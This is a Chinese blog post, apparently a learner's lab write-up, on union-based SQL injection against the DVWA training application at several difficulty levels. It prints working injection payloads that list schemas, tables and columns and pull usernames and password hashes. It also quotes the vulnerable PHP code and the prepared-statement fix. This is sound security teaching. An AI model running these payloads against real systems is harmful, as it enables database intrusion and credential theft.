DVWA SQL Injection - 联合查询

目标

就我现在的理解 2022年1月26日 20点43分 SQL 注入就是寻找到注入点(使得 SQL 任意代码可执行)以及回显方式(将代码执行的结果可视)

常用的查询如需哎

1、获取所有数据库名称:select SCHEMA_NAME from information_schema.SCHEMATA

2、获取目标数据库所有表名:select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='dvwa'

3、获取目标表所有字段名:select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'

4、字段 + 回显得到输出:如何回显是我们需要做的工作

可以联合查询的 SQL 注入

DVWA 环境中 SQL Injection 模块是一个较为入门的注入方式,回显方式直接告知,我们所需要做的就是寻找注入点

1 寻找注入点

就我现在的感觉来看,如何尝试没有那么多为什么,都是根据经验以及所学而来,比如我只了解过闭合单引号,注释掉后方语句的 SQL Injection 技巧那么我肯定就会先去尝试

1' union select 1, 2 # 
1' union select 1, 2 -- 

#-- 是 SQL 中的注释方式,不过有时候 # 可能会与 URL 冲突(比如 Hacker Bar 中),这时候可以尝试转码或使用 --

原理

这里的漏洞在于开发者没有或没有充分的对用户输入的数据 (id) 进行过滤,默认用户输入的只可能是有意义的字符串信息,因此直接将其拼接到后续要执行的 SQL 语句中:

$id = $_REQUEST[ 'id' ];
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

内容一拼接可以得到

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1, 2 # ';"

进而实现了联合查询方式的 SQL Injection

2 获取所有数据库名

1' union select 1, schema_name from information_schema.schemata -- 

3 获取目标数据库所有表名

根据步骤 2 的结果,我们将目标数据库定为 dvwa

1' union select 1, table_name from information_schema.tables where table_schema='dvwa' -- 

4 获取目标表的字段名

根据步骤 3 的结果,我们将目标表定为 users

1' union select 1, column_name from information_schema.columns where table_schema='dvwa' and table_name='users' -- 

5 获取目标数据

根据步骤 4 的结果,我们想要获取的数为 user 以及 password

1' union select user, password from users -- 

难度提升 - Medium Level

将难度提升到 Medium Level 后发现没有明显的注入点了:不让用户自定义输入数据了(你不是乱玩吗,我限制你的输入,让你只能选我给你提供的白名单):本质上是对用户输入的信息进行过滤

但是一些疏忽的开发者还是会留下漏洞,比如前端做了白名单限制后端却没有检查;后端在没有检查的情况下对用户数据完全信任,从而暴露漏洞

查找注入点

通过浏览器自带的调试工具,定位到目标请求,果不其然,这是通过 POST 传递的 ID 参数

我们通过 Hacker Bar 即可伪造请求,实现注入:

按照之前的方式报了错,相关信息如下 to use near '\' union select 1, 2 --' at line 1 可以看出我们输入的 1 没有问题,而是从 1 后面的单引号开始报的错并且它是被转义处理过的,看来 Medium 等级应该还对单引号进行了处理,到这小白我也没啥思路了,只能看看源码得知,去掉单引号即可:

if( isset( $_POST[ 'Submit' ] ) ) {
    $id = $_POST[ 'id' ];
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

在这里马后炮一下,开发者使用 mysqli_real_escape_string 转移了单引号等字符,那么为何在拼接时不使用单引号将 &id 包裹呢?正是这一点也让联合查询注入方式再次成功!

id=1 union select version(), database() -- &Submit=Submit

难度提升 - High Level

High Level 分离了提交查询的界面与内容回显的界面,但是针对我们手动注入来说,这没有什么大碍,像 Low Level 一样即可实现注入:

而查询与回显的分离是为了对抗 sqlmap 等自动化注入工具,让这些工具无法获得反馈而失效或难以利用

Impossible

$id = intval ($id);
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

if( $data->rowCount() == 1 ) {
    // Get values
    $first = $row[ 'first_name' ];
    $last  = $row[ 'last_name' ];

    // Feedback for end user
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

1、首先 intval 相当于做了一个白名单过滤,保证 id 必为数值
2、使用 PDO (PHP Data Object) 一方面统一各个数据库查询接口,另一方面实现代码和数据的分离处理,更加安全
3、最后为了防止未知的托库,这里类似实现了一种入侵响应,即提高利用的难度,如果真的破解了前面的防护,在回显时我也只能最多给你回显一条信息 if( $data->rowCount() == 1 )

posted @ 2022-01-27 16:27  Butterflier  阅读(265)  评论(0编辑  收藏  举报